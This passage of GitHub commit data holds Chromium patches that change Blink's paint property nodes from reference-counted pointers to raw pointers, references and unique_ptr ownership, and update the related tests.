auto container1_effect =\n- CreateOpacityEffect(EffectPaintPropertyNode::Root(), 0.5);\n+ auto container1_effect = CreateOpacityEffect(e0(), 0.5);\n auto container1_properties = DefaultPaintChunkProperties();\n container1_properties.SetEffect(container1_effect.get());\n \n- auto container2_effect =\n- CreateOpacityEffect(EffectPaintPropertyNode::Root(), 0.5);\n+ auto container2_effect = CreateOpacityEffect(e0(), 0.5);\n auto container2_properties = DefaultPaintChunkProperties();\n container2_properties.SetEffect(container2_effect.get());\n \n@@ -1117,13 +1115,11 @@ TEST_P(PaintControllerTest, UpdateSwapOrderCrossingChunks) {\n FakeDisplayItemClient content2(\"content2\", LayoutRect(100, 200, 50, 200));\n GraphicsContext context(GetPaintController());\n \n- auto container1_effect =\n- CreateOpacityEffect(EffectPaintPropertyNode::Root(), 0.5);\n+ auto container1_effect = CreateOpacityEffect(e0(), 0.5);\n auto container1_properties = DefaultPaintChunkProperties();\n container1_properties.SetEffect(container1_effect.get());\n \n- auto container2_effect =\n- CreateOpacityEffect(EffectPaintPropertyNode::Root(), 0.5);\n+ auto container2_effect = CreateOpacityEffect(e0(), 0.5);\n auto container2_properties = DefaultPaintChunkProperties();\n container2_properties.SetEffect(container2_effect.get());\n \n@@ -1230,25 +1226,21 @@ TEST_P(PaintControllerTest, CachedNestedSubsequenceUpdate) {\n FakeDisplayItemClient content2(\"content2\", LayoutRect(100, 200, 50, 200));\n GraphicsContext context(GetPaintController());\n \n- auto container1_effect =\n- CreateOpacityEffect(EffectPaintPropertyNode::Root(), 0.5);\n+ auto container1_effect = CreateOpacityEffect(e0(), 0.5);\n auto container1_background_properties = DefaultPaintChunkProperties();\n container1_background_properties.SetEffect(container1_effect.get());\n auto container1_foreground_properties = DefaultPaintChunkProperties();\n container1_foreground_properties.SetEffect(container1_effect.get());\n \n- auto content1_effect =\n- CreateOpacityEffect(EffectPaintPropertyNode::Root(), 0.6);\n+ auto content1_effect = CreateOpacityEffect(e0(), 0.6);\n auto content1_properties = DefaultPaintChunkProperties();\n content1_properties.SetEffect(content1_effect.get());\n \n- auto container2_effect =\n- CreateOpacityEffect(EffectPaintPropertyNode::Root(), 0.7);\n+ auto container2_effect = CreateOpacityEffect(e0(), 0.7);\n auto container2_background_properties = DefaultPaintChunkProperties();\n container2_background_properties.SetEffect(container2_effect.get());\n \n- auto content2_effect =\n- CreateOpacityEffect(EffectPaintPropertyNode::Root(), 0.8);\n+ auto content2_effect = CreateOpacityEffect(e0(), 0.8);\n auto content2_properties = DefaultPaintChunkProperties();\n content2_properties.SetEffect(content2_effect.get());\n "}<_**next**_>{"sha": "4f4cd576375667d8f78d8dbd7d0a081b6a492fff", "filename": "third_party/blink/renderer/platform/graphics/paint/paint_property_node.h", "status": "modified", "additions": 8, "deletions": 9, "changes": 17, "blob_url": "https://github.com/chromium/chromium/blob/f911e11e7f6b5c0d6f5ee694a9871de6619889f7/third_party/blink/renderer/platform/graphics/paint/paint_property_node.h", "raw_url": "https://github.com/chromium/chromium/raw/f911e11e7f6b5c0d6f5ee694a9871de6619889f7/third_party/blink/renderer/platform/graphics/paint/paint_property_node.h", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/third_party/blink/renderer/platform/graphics/paint/paint_property_node.h?ref=f911e11e7f6b5c0d6f5ee694a9871de6619889f7", "patch": "@@ -5,10 +5,8 @@\n #ifndef THIRD_PARTY_BLINK_RENDERER_PLATFORM_GRAPHICS_PAINT_PAINT_PROPERTY_NODE_H_\n #define THIRD_PARTY_BLINK_RENDERER_PLATFORM_GRAPHICS_PAINT_PAINT_PROPERTY_NODE_H_\n \n-#include \"base/memory/scoped_refptr.h\"\n #include \"third_party/blink/renderer/platform/json/json_values.h\"\n #include \"third_party/blink/renderer/platform/platform_export.h\"\n-#include \"third_party/blink/renderer/platform/wtf/ref_counted.h\"\n #include \"third_party/blink/renderer/platform/wtf/text/wtf_string.h\"\n \n #if DCHECK_IS_ON()\n@@ -55,10 +53,12 @@ PLATFORM_EXPORT const TransformPaintPropertyNode& LowestCommonAncestorInternal(\n const TransformPaintPropertyNode&);\n \n template <typename NodeType>\n-class PaintPropertyNode : public RefCounted<NodeType> {\n+class PaintPropertyNode {\n+ USING_FAST_MALLOC(NodeType);\n+\n public:\n // Parent property node, or nullptr if this is the root node.\n- const NodeType* Parent() const { return parent_.get(); }\n+ const NodeType* Parent() const { return parent_; }\n bool IsRoot() const { return !parent_; }\n \n bool IsAncestorOf(const NodeType& other) const {\n@@ -115,24 +115,23 @@ class PaintPropertyNode : public RefCounted<NodeType> {\n #endif\n \n protected:\n- PaintPropertyNode(scoped_refptr<const NodeType> parent)\n- : parent_(std::move(parent)) {}\n+ PaintPropertyNode(const NodeType* parent) : parent_(parent) {}\n \n- bool SetParent(scoped_refptr<const NodeType> parent) {\n+ bool SetParent(const NodeType* parent) {\n DCHECK(!IsRoot());\n DCHECK(parent != this);\n if (parent == parent_)\n return false;\n \n SetChanged();\n- parent_ = std::move(parent);\n+ parent_ = parent;\n return true;\n }\n \n void SetChanged() { changed_ = true; }\n \n private:\n- scoped_refptr<const NodeType> parent_;\n+ const NodeType* parent_;\n mutable bool changed_ = true;\n \n #if DCHECK_IS_ON()"}<_**next**_>{"sha": "072d4242265c2669e8daf3175c60637a3d962df9", "filename": "third_party/blink/renderer/platform/graphics/paint/paint_property_node_test.cc", "status": "modified", "additions": 27, "deletions": 27, "changes": 54, "blob_url": "https://github.com/chromium/chromium/blob/f911e11e7f6b5c0d6f5ee694a9871de6619889f7/third_party/blink/renderer/platform/graphics/paint/paint_property_node_test.cc", "raw_url": "https://github.com/chromium/chromium/raw/f911e11e7f6b5c0d6f5ee694a9871de6619889f7/third_party/blink/renderer/platform/graphics/paint/paint_property_node_test.cc", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/third_party/blink/renderer/platform/graphics/paint/paint_property_node_test.cc?ref=f911e11e7f6b5c0d6f5ee694a9871de6619889f7", "patch": "@@ -14,12 +14,12 @@ namespace blink {\n class PaintPropertyNodeTest : public testing::Test {\n protected:\n void SetUp() override {\n- root = ClipPaintPropertyNode::Root();\n- node = CreateClip(root, nullptr, FloatRoundedRect());\n- child1 = CreateClip(node, nullptr, FloatRoundedRect());\n- child2 = CreateClip(node, nullptr, FloatRoundedRect());\n- grandchild1 = CreateClip(child1, nullptr, FloatRoundedRect());\n- grandchild2 = CreateClip(child2, nullptr, FloatRoundedRect());\n+ root = &ClipPaintPropertyNode::Root();\n+ node = CreateClip(*root, nullptr, FloatRoundedRect());\n+ child1 = CreateClip(*node, nullptr, FloatRoundedRect());\n+ child2 = CreateClip(*node, nullptr, FloatRoundedRect());\n+ grandchild1 = CreateClip(*child1, nullptr, FloatRoundedRect());\n+ grandchild2 = CreateClip(*child2, nullptr, FloatRoundedRect());\n \n // root\n // |\n@@ -35,10 +35,10 @@ class PaintPropertyNodeTest : public testing::Test {\n grandchild2->ClearChangedToRoot();\n }\n \n- static void Update(scoped_refptr<ClipPaintPropertyNode> node,\n- scoped_refptr<const ClipPaintPropertyNode> new_parent,\n+ static void Update(std::unique_ptr<ClipPaintPropertyNode>& node,\n+ const ClipPaintPropertyNode& new_parent,\n const FloatRoundedRect& new_clip_rect) {\n- node->Update(std::move(new_parent),\n+ node->Update(new_parent,\n ClipPaintPropertyNode::State{nullptr, new_clip_rect});\n }\n \n@@ -60,30 +60,30 @@ class PaintPropertyNodeTest : public testing::Test {\n EXPECT_FALSE(grandchild2->Changed(*root));\n }\n \n- scoped_refptr<ClipPaintPropertyNode> root;\n- scoped_refptr<ClipPaintPropertyNode> node;\n- scoped_refptr<ClipPaintPropertyNode> child1;\n- scoped_refptr<ClipPaintPropertyNode> child2;\n- scoped_refptr<ClipPaintPropertyNode> grandchild1;\n- scoped_refptr<ClipPaintPropertyNode> grandchild2;\n+ const ClipPaintPropertyNode* root;\n+ std::unique_ptr<ClipPaintPropertyNode> node;\n+ std::unique_ptr<ClipPaintPropertyNode> child1;\n+ std::unique_ptr<ClipPaintPropertyNode> child2;\n+ std::unique_ptr<ClipPaintPropertyNode> grandchild1;\n+ std::unique_ptr<ClipPaintPropertyNode> grandchild2;\n };\n \n TEST_F(PaintPropertyNodeTest, LowestCommonAncestor) {\n- EXPECT_EQ(node, &LowestCommonAncestor(*node, *node));\n+ EXPECT_EQ(node.get(), &LowestCommonAncestor(*node, *node));\n EXPECT_EQ(root, &LowestCommonAncestor(*root, *root));\n \n- EXPECT_EQ(node, &LowestCommonAncestor(*grandchild1, *grandchild2));\n- EXPECT_EQ(node, &LowestCommonAncestor(*grandchild1, *child2));\n+ EXPECT_EQ(node.get(), &LowestCommonAncestor(*grandchild1, *grandchild2));\n+ EXPECT_EQ(node.get(), &LowestCommonAncestor(*grandchild1, *child2));\n EXPECT_EQ(root, &LowestCommonAncestor(*grandchild1, *root));\n- EXPECT_EQ(child1, &LowestCommonAncestor(*grandchild1, *child1));\n+ EXPECT_EQ(child1.get(), &LowestCommonAncestor(*grandchild1, *child1));\n \n- EXPECT_EQ(node, &LowestCommonAncestor(*grandchild2, *grandchild1));\n- EXPECT_EQ(node, &LowestCommonAncestor(*grandchild2, *child1));\n+ EXPECT_EQ(node.get(), &LowestCommonAncestor(*grandchild2, *grandchild1));\n+ EXPECT_EQ(node.get(), &LowestCommonAncestor(*grandchild2, *child1));\n EXPECT_EQ(root, &LowestCommonAncestor(*grandchild2, *root));\n- EXPECT_EQ(child2, &LowestCommonAncestor(*grandchild2, *child2));\n+ EXPECT_EQ(child2.get(), &LowestCommonAncestor(*grandchild2, *child2));\n \n- EXPECT_EQ(node, &LowestCommonAncestor(*child1, *child2));\n- EXPECT_EQ(node, &LowestCommonAncestor(*child2, *child1));\n+ EXPECT_EQ(node.get(), &LowestCommonAncestor(*child1, *child2));\n+ EXPECT_EQ(node.get(), &LowestCommonAncestor(*child2, *child1));\n }\n \n TEST_F(PaintPropertyNodeTest, InitialStateAndReset) {\n@@ -94,7 +94,7 @@ TEST_F(PaintPropertyNodeTest, InitialStateAndReset) {\n \n TEST_F(PaintPropertyNodeTest, ChangeNode) {\n ResetAllChanged();\n- Update(node, root, FloatRoundedRect(1, 2, 3, 4));\n+ Update(node, *root, FloatRoundedRect(1, 2, 3, 4));\n EXPECT_TRUE(node->Changed(*root));\n EXPECT_FALSE(node->Changed(*node));\n EXPECT_TRUE(child1->Changed(*root));\n@@ -111,7 +111,7 @@ TEST_F(PaintPropertyNodeTest, ChangeNode) {\n \n TEST_F(PaintPropertyNodeTest, ChangeOneChild) {\n ResetAllChanged();\n- Update(child1, node, FloatRoundedRect(1, 2, 3, 4));\n+ Update(child1, *node, FloatRoundedRect(1, 2, 3, 4));\n EXPECT_FALSE(node->Changed(*root));\n EXPECT_FALSE(node->Changed(*node));\n EXPECT_TRUE(child1->Changed(*root));\n@@ -136,7 +136,7 @@ TEST_F(PaintPropertyNodeTest, ChangeOneChild) {\n \n TEST_F(PaintPropertyNodeTest, Reparent) {\n ResetAllChanged();\n- Update(child1, child2, FloatRoundedRect(1, 2, 3, 4));\n+ Update(child1, *child2, FloatRoundedRect(1, 2, 3, 4));\n EXPECT_FALSE(node->Changed(*root));\n EXPECT_TRUE(child1->Changed(*node));\n EXPECT_TRUE(child1->Changed(*child2));"}<_**next**_>{"sha": "8b0bfc878e950022a8ee6196d8c38990a1cd48ac", "filename": "third_party/blink/renderer/platform/graphics/paint/property_tree_state.cc", "status": "modified", "additions": 4, "deletions": 5, "changes": 9, "blob_url": "https://github.com/chromium/chromium/blob/f911e11e7f6b5c0d6f5ee694a9871de6619889f7/third_party/blink/renderer/platform/graphics/paint/property_tree_state.cc", "raw_url": "https://github.com/chromium/chromium/raw/f911e11e7f6b5c0d6f5ee694a9871de6619889f7/third_party/blink/renderer/platform/graphics/paint/property_tree_state.cc", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/third_party/blink/renderer/platform/graphics/paint/property_tree_state.cc?ref=f911e11e7f6b5c0d6f5ee694a9871de6619889f7", "patch": "@@ -10,11 +10,10 @@ namespace blink {\n \n const PropertyTreeState& PropertyTreeState::Root() {\n DEFINE_STATIC_LOCAL(\n- std::unique_ptr<PropertyTreeState>, root,\n- (std::make_unique<PropertyTreeState>(TransformPaintPropertyNode::Root(),\n- ClipPaintPropertyNode::Root(),\n- EffectPaintPropertyNode::Root())));\n- return *root;\n+ PropertyTreeState, root,\n+ (&TransformPaintPropertyNode::Root(), &ClipPaintPropertyNode::Root(),\n+ &EffectPaintPropertyNode::Root()));\n+ return root;\n }\n \n const CompositorElementId PropertyTreeState::GetCompositorElementId("}<_**next**_>{"sha": "6a91f0273406f5af31216b17e0f87e4ea9aa9b6d", "filename": "third_party/blink/renderer/platform/graphics/paint/property_tree_state_test.cc", "status": "modified", "additions": 16, "deletions": 18, "changes": 34, "blob_url": "https://github.com/chromium/chromium/blob/f911e11e7f6b5c0d6f5ee694a9871de6619889f7/third_party/blink/renderer/platform/graphics/paint/property_tree_state_test.cc", "raw_url": "https://github.com/chromium/chromium/raw/f911e11e7f6b5c0d6f5ee694a9871de6619889f7/third_party/blink/renderer/platform/graphics/paint/property_tree_state_test.cc", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/third_party/blink/renderer/platform/graphics/paint/property_tree_state_test.cc?ref=f911e11e7f6b5c0d6f5ee694a9871de6619889f7", "patch": "@@ -10,7 +10,7 @@ namespace blink {\n \n class PropertyTreeStateTest : public testing::Test {};\n \n-static scoped_refptr<TransformPaintPropertyNode>\n+static std::unique_ptr<TransformPaintPropertyNode>\n CreateTransformWithCompositorElementId(\n const CompositorElementId& compositor_element_id) {\n TransformPaintPropertyNode::State state;\n@@ -19,7 +19,7 @@ CreateTransformWithCompositorElementId(\n std::move(state));\n }\n \n-static scoped_refptr<EffectPaintPropertyNode>\n+static std::unique_ptr<EffectPaintPropertyNode>\n CreateEffectWithCompositorElementId(\n const CompositorElementId& compositor_element_id) {\n EffectPaintPropertyNode::State state;\n@@ -29,40 +29,38 @@ CreateEffectWithCompositorElementId(\n }\n \n TEST_F(PropertyTreeStateTest, CompositorElementIdNoElementIdOnAnyNode) {\n- PropertyTreeState state(TransformPaintPropertyNode::Root(),\n- ClipPaintPropertyNode::Root(),\n- EffectPaintPropertyNode::Root());\n EXPECT_EQ(CompositorElementId(),\n- state.GetCompositorElementId(CompositorElementIdSet()));\n+ PropertyTreeState::Root().GetCompositorElementId(\n+ CompositorElementIdSet()));\n }\n \n TEST_F(PropertyTreeStateTest, CompositorElementIdWithElementIdOnTransformNode) {\n CompositorElementId expected_compositor_element_id = CompositorElementId(2);\n- scoped_refptr<TransformPaintPropertyNode> transform =\n+ auto transform =\n CreateTransformWithCompositorElementId(expected_compositor_element_id);\n- PropertyTreeState state(transform.get(), ClipPaintPropertyNode::Root(),\n- EffectPaintPropertyNode::Root());\n+ PropertyTreeState state(transform.get(), &ClipPaintPropertyNode::Root(),\n+ &EffectPaintPropertyNode::Root());\n EXPECT_EQ(expected_compositor_element_id,\n state.GetCompositorElementId(CompositorElementIdSet()));\n }\n \n TEST_F(PropertyTreeStateTest, CompositorElementIdWithElementIdOnEffectNode) {\n CompositorElementId expected_compositor_element_id = CompositorElementId(2);\n- scoped_refptr<EffectPaintPropertyNode> effect =\n+ auto effect =\n CreateEffectWithCompositorElementId(expected_compositor_element_id);\n- PropertyTreeState state(TransformPaintPropertyNode::Root(),\n- ClipPaintPropertyNode::Root(), effect.get());\n+ PropertyTreeState state(&TransformPaintPropertyNode::Root(),\n+ &ClipPaintPropertyNode::Root(), effect.get());\n EXPECT_EQ(expected_compositor_element_id,\n state.GetCompositorElementId(CompositorElementIdSet()));\n }\n \n TEST_F(PropertyTreeStateTest, CompositorElementIdWithElementIdOnMultipleNodes) {\n CompositorElementId expected_compositor_element_id = CompositorElementId(2);\n- scoped_refptr<TransformPaintPropertyNode> transform =\n+ auto transform =\n CreateTransformWithCompositorElementId(expected_compositor_element_id);\n- scoped_refptr<EffectPaintPropertyNode> effect =\n+ auto effect =\n CreateEffectWithCompositorElementId(expected_compositor_element_id);\n- PropertyTreeState state(transform.get(), ClipPaintPropertyNode::Root(),\n+ PropertyTreeState state(transform.get(), &ClipPaintPropertyNode::Root(),\n effect.get());\n EXPECT_EQ(expected_compositor_element_id,\n state.GetCompositorElementId(CompositorElementIdSet()));\n@@ -71,11 +69,11 @@ TEST_F(PropertyTreeStateTest, CompositorElementIdWithElementIdOnMultipleNodes) {\n TEST_F(PropertyTreeStateTest, CompositorElementIdWithDifferingElementIds) {\n CompositorElementId first_compositor_element_id = CompositorElementId(2);\n CompositorElementId second_compositor_element_id = CompositorElementId(3);\n- scoped_refptr<TransformPaintPropertyNode> transform =\n+ auto transform =\n CreateTransformWithCompositorElementId(first_compositor_element_id);\n- scoped_refptr<EffectPaintPropertyNode> effect =\n+ auto effect =\n CreateEffectWithCompositorElementId(second_compositor_element_id);\n- PropertyTreeState state(transform.get(), ClipPaintPropertyNode::Root(),\n+ PropertyTreeState state(transform.get(), &ClipPaintPropertyNode::Root(),\n effect.get());\n \n CompositorElementIdSet composited_element_ids;"}<_**next**_>{"sha": "1003213e594206aa3c57faca67257c7b4de9cee1", "filename": "third_party/blink/renderer/platform/graphics/paint/ref_counted_property_tree_state.cc", "status": "removed", "additions": 0, "deletions": 43, "changes": 43, "blob_url": "https://github.com/chromium/chromium/blob/95f5260501ac2660f29fb98ab5cb351a956c1dab/third_party/blink/renderer/platform/graphics/paint/ref_counted_property_tree_state.cc", "raw_url": "https://github.com/chromium/chromium/raw/95f5260501ac2660f29fb98ab5cb351a956c1dab/third_party/blink/renderer/platform/graphics/paint/ref_counted_property_tree_state.cc", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/third_party/blink/renderer/platform/graphics/paint/ref_counted_property_tree_state.cc?ref=95f5260501ac2660f29fb98ab5cb351a956c1dab", "patch": "@@ -1,43 +0,0 @@\n-// Copyright 2016 The Chromium Authors. All rights reserved.\n-// Use of this source code is governed by a BSD-style license that can be\n-// found in the LICENSE file.\n-\n-#include \"third_party/blink/renderer/platform/graphics/paint/ref_counted_property_tree_state.h\"\n-\n-#include <memory>\n-\n-namespace blink {\n-\n-const RefCountedPropertyTreeState& RefCountedPropertyTreeState::Root() {\n- DEFINE_STATIC_LOCAL(\n- std::unique_ptr<RefCountedPropertyTreeState>, root,\n- (std::make_unique<RefCountedPropertyTreeState>(\n- TransformPaintPropertyNode::Root(), ClipPaintPropertyNode::Root(),\n- EffectPaintPropertyNode::Root())));\n- return *root;\n-}\n-\n-const CompositorElementId RefCountedPropertyTreeState::GetCompositorElementId(\n- const CompositorElementIdSet& element_ids) const {\n- // The effect or transform nodes could have a compositor element id. The order\n- // doesn't matter as the element id should be the same on all that have a\n- // non-default CompositorElementId.\n- //\n- // Note that RefCountedPropertyTreeState acts as a context that accumulates\n- // state as we traverse the tree building layers. This means that we could see\n- // a compositor element id 'A' for a parent layer in conjunction with a\n- // compositor element id 'B' for a child layer. To preserve uniqueness of\n- // element ids, then, we check for presence in the |element_ids| set (which\n- // represents element ids already previously attached to a layer). This is an\n- // interim step while we pursue broader rework of animation subsystem noted in\n- // http://crbug.com/709137.\n- if (Effect()->GetCompositorElementId() &&\n- !element_ids.Contains(Effect()->GetCompositorElementId()))\n- return Effect()->GetCompositorElementId();\n- if (Transform()->GetCompositorElementId() &&\n- !element_ids.Contains(Transform()->GetCompositorElementId()))\n- return Transform()->GetCompositorElementId();\n- return CompositorElementId();\n-}\n-\n-} // namespace blink"}<_**next**_>{"sha": "340d6e95116c3eb521dbadecf3b2706beeb6ba88", "filename": "third_party/blink/renderer/platform/graphics/paint/ref_counted_property_tree_state.h", "status": "removed", "additions": 0, "deletions": 88, "changes": 88, "blob_url": "https://github.com/chromium/chromium/blob/95f5260501ac2660f29fb98ab5cb351a956c1dab/third_party/blink/renderer/platform/graphics/paint/ref_counted_property_tree_state.h", "raw_url": "https://github.com/chromium/chromium/raw/95f5260501ac2660f29fb98ab5cb351a956c1dab/third_party/blink/renderer/platform/graphics/paint/ref_counted_property_tree_state.h", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/third_party/blink/renderer/platform/graphics/paint/ref_counted_property_tree_state.h?ref=95f5260501ac2660f29fb98ab5cb351a956c1dab", "patch": "@@ -1,88 +0,0 @@\n-// Copyright 2016 The Chromium Authors. All rights reserved.\n-// Use of this source code is governed by a BSD-style license that can be\n-// found in the LICENSE file.\n-\n-#ifndef THIRD_PARTY_BLINK_RENDERER_PLATFORM_GRAPHICS_PAINT_REF_COUNTED_PROPERTY_TREE_STATE_H_\n-#define THIRD_PARTY_BLINK_RENDERER_PLATFORM_GRAPHICS_PAINT_REF_COUNTED_PROPERTY_TREE_STATE_H_\n-\n-#include \"third_party/blink/renderer/platform/graphics/paint/property_tree_state.h\"\n-#include \"third_party/blink/renderer/platform/wtf/hash_functions.h\"\n-#include \"third_party/blink/renderer/platform/wtf/hash_traits.h\"\n-#include \"third_party/blink/renderer/platform/wtf/text/string_builder.h\"\n-\n-namespace blink {\n-\n-// A complete set of paint properties including those that are inherited from\n-// other objects. RefPtrs are used to guard against use-after-free bugs.\n-class PLATFORM_EXPORT RefCountedPropertyTreeState {\n- USING_FAST_MALLOC(RefCountedPropertyTreeState);\n-\n- public:\n- RefCountedPropertyTreeState(const TransformPaintPropertyNode* transform,\n- const ClipPaintPropertyNode* clip,\n- const EffectPaintPropertyNode* effect)\n- : transform_(transform), clip_(clip), effect_(effect) {}\n-\n- RefCountedPropertyTreeState(const PropertyTreeState& property_tree_state)\n- : transform_(property_tree_state.Transform()),\n- clip_(property_tree_state.Clip()),\n- effect_(property_tree_state.Effect()) {}\n-\n- bool HasDirectCompositingReasons() const;\n-\n- const TransformPaintPropertyNode* Transform() const {\n- return transform_.get();\n- }\n- void SetTransform(scoped_refptr<const TransformPaintPropertyNode> node) {\n- transform_ = std::move(node);\n- }\n-\n- const ClipPaintPropertyNode* Clip() const { return clip_.get(); }\n- void SetClip(scoped_refptr<const ClipPaintPropertyNode> node) {\n- clip_ = std::move(node);\n- }\n-\n- const EffectPaintPropertyNode* Effect() const { return effect_.get(); }\n- void SetEffect(scoped_refptr<const EffectPaintPropertyNode> node) {\n- effect_ = std::move(node);\n- }\n-\n- static const RefCountedPropertyTreeState& Root();\n-\n- PropertyTreeState GetPropertyTreeState() const {\n- return PropertyTreeState(transform_.get(), clip_.get(), effect_.get());\n- }\n-\n- // Returns the compositor element id, if any, for this property state. If\n- // neither the effect nor transform nodes have a compositor element id then a\n- // default instance is returned.\n- const CompositorElementId GetCompositorElementId(\n- const CompositorElementIdSet& element_ids) const;\n-\n- void ClearChangedToRoot() const {\n- Transform()->ClearChangedToRoot();\n- Clip()->ClearChangedToRoot();\n- Effect()->ClearChangedToRoot();\n- }\n-\n- String ToString() const { return GetPropertyTreeState().ToString(); }\n-#if DCHECK_IS_ON()\n- // Dumps the tree from this state up to the root as a string.\n- String ToTreeString() const { return GetPropertyTreeState().ToTreeString(); }\n-#endif\n-\n- private:\n- scoped_refptr<const TransformPaintPropertyNode> transform_;\n- scoped_refptr<const ClipPaintPropertyNode> clip_;\n- scoped_refptr<const EffectPaintPropertyNode> effect_;\n-};\n-\n-inline bool operator==(const RefCountedPropertyTreeState& a,\n- const RefCountedPropertyTreeState& b) {\n- return a.Transform() == b.Transform() && a.Clip() == b.Clip() &&\n- a.Effect() == b.Effect();\n-}\n-\n-} // namespace blink\n-\n-#endif // THIRD_PARTY_BLINK_RENDERER_PLATFORM_GRAPHICS_PAINT_REF_COUNTED_PROPERTY_TREE_STATE_H_"}<_**next**_>{"sha": "3420e60081216d8406b8043a18fd059e60c3be30", "filename": "third_party/blink/renderer/platform/graphics/paint/scroll_hit_test_display_item.cc", "status": "modified", "additions": 7, "deletions": 7, "changes": 14, "blob_url": "https://github.com/chromium/chromium/blob/f911e11e7f6b5c0d6f5ee694a9871de6619889f7/third_party/blink/renderer/platform/graphics/paint/scroll_hit_test_display_item.cc", "raw_url": "https://github.com/chromium/chromium/raw/f911e11e7f6b5c0d6f5ee694a9871de6619889f7/third_party/blink/renderer/platform/graphics/paint/scroll_hit_test_display_item.cc", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/third_party/blink/renderer/platform/graphics/paint/scroll_hit_test_display_item.cc?ref=f911e11e7f6b5c0d6f5ee694a9871de6619889f7", "patch": "@@ -13,13 +13,13 @@ namespace blink {\n ScrollHitTestDisplayItem::ScrollHitTestDisplayItem(\n const DisplayItemClient& client,\n Type type,\n- scoped_refptr<const TransformPaintPropertyNode> scroll_offset_node)\n+ const TransformPaintPropertyNode& scroll_offset_node)\n : DisplayItem(client, type, sizeof(*this)),\n- scroll_offset_node_(std::move(scroll_offset_node)) {\n+ scroll_offset_node_(scroll_offset_node) {\n DCHECK(RuntimeEnabledFeatures::SlimmingPaintV2Enabled());\n DCHECK(IsScrollHitTestType(type));\n // The scroll offset transform node should have an associated scroll node.\n- DCHECK(scroll_offset_node_->ScrollNode());\n+ DCHECK(scroll_offset_node_.ScrollNode());\n }\n \n ScrollHitTestDisplayItem::~ScrollHitTestDisplayItem() = default;\n@@ -44,27 +44,27 @@ bool ScrollHitTestDisplayItem::Equals(const DisplayItem& other) const {\n void ScrollHitTestDisplayItem::PropertiesAsJSON(JSONObject& json) const {\n DisplayItem::PropertiesAsJSON(json);\n json.SetString(\"scrollOffsetNode\",\n- String::Format(\"%p\", scroll_offset_node_.get()));\n+ String::Format(\"%p\", &scroll_offset_node_));\n }\n #endif\n \n void ScrollHitTestDisplayItem::Record(\n GraphicsContext& context,\n const DisplayItemClient& client,\n DisplayItem::Type type,\n- scoped_refptr<const TransformPaintPropertyNode> scroll_offset_node) {\n+ const TransformPaintPropertyNode& scroll_offset_node) {\n PaintController& paint_controller = context.GetPaintController();\n \n // The scroll hit test should be in the non-scrolled transform space and\n // therefore should not be scrolled by the associated scroll offset.\n DCHECK_NE(paint_controller.CurrentPaintChunkProperties().Transform(),\n- scroll_offset_node.get());\n+ &scroll_offset_node);\n \n if (paint_controller.DisplayItemConstructionIsDisabled())\n return;\n \n paint_controller.CreateAndAppend<ScrollHitTestDisplayItem>(\n- client, type, std::move(scroll_offset_node));\n+ client, type, scroll_offset_node);\n }\n \n } // namespace blink"}<_**next**_>{"sha": "ce222809b49efef7a9a1e963240b59e198ba41e5", "filename": "third_party/blink/renderer/platform/graphics/paint/scroll_hit_test_display_item.h", "status": "modified", "additions": 8, "deletions": 9, "changes": 17, "blob_url": "https://github.com/chromium/chromium/blob/f911e11e7f6b5c0d6f5ee694a9871de6619889f7/third_party/blink/renderer/platform/graphics/paint/scroll_hit_test_display_item.h", "raw_url": "https://github.com/chromium/chromium/raw/f911e11e7f6b5c0d6f5ee694a9871de6619889f7/third_party/blink/renderer/platform/graphics/paint/scroll_hit_test_display_item.h", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/third_party/blink/renderer/platform/graphics/paint/scroll_hit_test_display_item.h?ref=f911e11e7f6b5c0d6f5ee694a9871de6619889f7", "patch": "@@ -27,11 +27,11 @@ class PLATFORM_EXPORT ScrollHitTestDisplayItem final : public DisplayItem {\n ScrollHitTestDisplayItem(\n const DisplayItemClient&,\n Type,\n- scoped_refptr<const TransformPaintPropertyNode> scroll_offset_node);\n+ const TransformPaintPropertyNode& scroll_offset_node);\n ~ScrollHitTestDisplayItem() override;\n \n const TransformPaintPropertyNode& scroll_offset_node() const {\n- return *scroll_offset_node_;\n+ return scroll_offset_node_;\n }\n \n // DisplayItem\n@@ -46,18 +46,17 @@ class PLATFORM_EXPORT ScrollHitTestDisplayItem final : public DisplayItem {\n // Create and append a ScrollHitTestDisplayItem onto the context. This is\n // similar to a recorder class (e.g., DrawingRecorder) but just emits a single\n // item.\n- static void Record(\n- GraphicsContext&,\n- const DisplayItemClient&,\n- DisplayItem::Type,\n- scoped_refptr<const TransformPaintPropertyNode> scroll_offset_node);\n+ static void Record(GraphicsContext&,\n+ const DisplayItemClient&,\n+ DisplayItem::Type,\n+ const TransformPaintPropertyNode& scroll_offset_node);\n \n private:\n const ScrollPaintPropertyNode& scroll_node() const {\n- return *scroll_offset_node_->ScrollNode();\n+ return *scroll_offset_node_.ScrollNode();\n }\n \n- scoped_refptr<const TransformPaintPropertyNode> scroll_offset_node_;\n+ const TransformPaintPropertyNode& scroll_offset_node_;\n };\n \n } // namespace blink"}<_**next**_>{"sha": "b66fedb2a57060fe9c5a21b0fe03bf5e36c62868", "filename": "third_party/blink/renderer/platform/graphics/paint/scroll_paint_property_node.cc", "status": "modified", "additions": 2, "deletions": 3, "changes": 5, "blob_url": "https://github.com/chromium/chromium/blob/f911e11e7f6b5c0d6f5ee694a9871de6619889f7/third_party/blink/renderer/platform/graphics/paint/scroll_paint_property_node.cc", "raw_url": "https://github.com/chromium/chromium/raw/f911e11e7f6b5c0d6f5ee694a9871de6619889f7/third_party/blink/renderer/platform/graphics/paint/scroll_paint_property_node.cc", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/third_party/blink/renderer/platform/graphics/paint/scroll_paint_property_node.cc?ref=f911e11e7f6b5c0d6f5ee694a9871de6619889f7", "patch": "@@ -6,9 +6,8 @@\n \n namespace blink {\n \n-ScrollPaintPropertyNode* ScrollPaintPropertyNode::Root() {\n- DEFINE_STATIC_REF(ScrollPaintPropertyNode, root,\n- (ScrollPaintPropertyNode::Create(nullptr, State{})));\n+const ScrollPaintPropertyNode& ScrollPaintPropertyNode::Root() {\n+ DEFINE_STATIC_LOCAL(ScrollPaintPropertyNode, root, (nullptr, State{}));\n return root;\n }\n "}<_**next**_>{"sha": "e1a27b6668fb755db5d723ec2a7f7b2b2a86a440", "filename": 